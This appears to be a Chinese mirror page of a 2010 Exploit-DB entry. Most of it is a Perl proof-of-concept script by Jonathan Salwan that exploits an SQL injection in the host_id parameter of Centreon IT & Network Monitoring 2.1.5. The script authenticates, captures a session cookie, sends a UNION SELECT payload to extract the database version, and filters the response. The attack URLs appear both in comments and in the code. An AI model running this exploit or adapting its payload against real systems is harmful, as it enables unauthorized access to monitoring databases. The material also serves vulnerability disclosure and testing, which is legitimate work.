Centreon IT & Network Monitoring 2.1.5 – SQL Injection - 体验盒子

作者： Jonathan Salwan

日期： 2010-03-31

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/11979/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

#!/usr/bin/perl

# //--------[PoC]---------//

#

# Title : Centreon IT & Network Monitoring v2.1.5 - Injection SQL

# Version : 2.1.5

# Author: Jonathan Salwan (j.salwan@sysdream.com)

#

# [Vuln sql injection]

# http://localhost/centreon/main.php?p=201&host_id=-1%20[SQL Injection]&o=p&min=1

#

# http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1

#

# //-------[Credit]-------//

#

# http://www.sysdream.com

# http://www.shell-storm.org

#

use LWP::UserAgent;

my $url = 'http://localhost/centreon/index.php';

my $login = 'login';

my $paswd = 'pwd';

my $sql = 'http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1';

my $ua = LWP::UserAgent->new;

my $response = $ua->get($url);

my $cook = $response->header('Set-Cookie');

my $req2 = $ua->post($url,

{useralias => $login, password => $paswd, submit => 'login'},

Cookie => $cook,

Content-Type => 'application/x-www-form-urlencoded'

);

my $response = $ua->get($sql, Cookie => $cook);

my $content = $response->content();

open(FILE, '>sql-centreon.txt');

print FILE $content;

close(FILE);

print "\n[Answer SQL Injection]\n\n";

my $selection = system('cat sql-centreon.txt | grep ">Host</td>"');

unlink('sql-centreon.txt');

print "\n";